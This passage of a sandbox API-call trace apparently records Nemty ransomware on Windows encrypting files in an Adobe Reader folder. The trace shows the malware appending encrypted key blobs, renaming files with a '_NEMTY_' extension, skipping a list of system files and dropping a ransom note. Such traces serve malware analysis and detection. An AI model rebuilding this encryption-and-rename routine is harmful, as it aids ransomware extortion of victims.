(HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.638] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="u0Wjjr5VlfCSs5AISXB29AeOOWoROpgorqkZtYtdERXMzgCqhK7ocU9vHKneBK7+\r\nMKYuvFj+iG8bsOtBjXvMgP4qpfZ3LidlyFXtkXG73Ey0gr/k6n/n0pPZR8fXlDv5\r\nx609WYLwSH0XMMQnCZdAhn0BJalRK2EFlpvfKU5BbCvWEe+vbwo2kjVIu2K1kzwE\r\n99Ni0IIg7cbqan83d7Zucz/D8gPysbVjAQWwZRObI0BpP/9AR0BsuKvfgyvAWFkK\r\n2rE3MkQHudhbaA1cvxZ4prE6kAN0RmpY8oV8ooItZCF23XdRWP7CurgdEqWJ+mE2\r\nsyTEeKy/SWNx2hp5jlOHEQ==\r\n", pcchString=0x653e29c) returned 1 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0185.639] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=47793) returned 1 [0185.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbab0) returned 0x6352c48 [0185.639] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.639] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xbab0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0xbab0, lpOverlapped=0x0) returned 1 [0185.652] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.652] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0xbab0, lpOverlapped=0x0) returned 1 [0185.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.652] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=47793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbab1 [0185.652] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0185.652] CloseHandle (hObject=0x2f0) returned 1 [0185.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.653] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.654] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0185.654] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0185.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.655] Sleep (dwMilliseconds=0x5) [0185.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x225071f0, dwHighDateTime=0x1d561e8)) [0185.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x225071f0, dwHighDateTime=0x1d561e8)) [0185.669] GetLastError () returned 0x0 [0185.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.669] GetLastError () returned 0x0 [0185.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.669] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0185.669] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0185.670] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.670] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="WkbzjLXXPOzfii9VU3ligidpSOt5jGbk3aknk+5nLOmZwuzskNcSCvJogk7gVGJa\r\nFFtQKQFU3WTQ4hwK169K4aYsBU82Nk6yOaMFXv4jisxKsmqI7Ly0iPBCCt+p3K14\r\nJjoTsW+HFhL7kNU4NdsUpBZuqohkc2kdjm60mK3oxmNqHvDV7/2fFm3Wn2cYjdAq\r\nSKJZEtqIkXXikZCr5x8bTJS/mDQfWBxGH3Ay3f/+ihnsZOMkkc2k2hqOURdbZ22W\r\nwOtoy1nD3voyBS7glduXcNR/3sYt7bOR43fFqNwDa9QtFzWyCw/FMnqhmr0kp6j2\r\nzw2zWDk2oMHBIb4TfKJTEQ==\r\n", pcchString=0x653e29c) returned 1 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0185.670] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=264) returned 1 [0185.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x100) returned 0x6340270 [0185.670] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.670] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0x100, lpOverlapped=0x0) returned 1 [0185.671] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.671] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0x100, lpOverlapped=0x0) returned 1 [0185.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.671] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108 [0185.671] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0185.672] CloseHandle (hObject=0x2f0) returned 1 [0185.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.672] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.673] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22494dd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22494dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22494dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0185.673] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0185.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0185.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0185.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0185.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 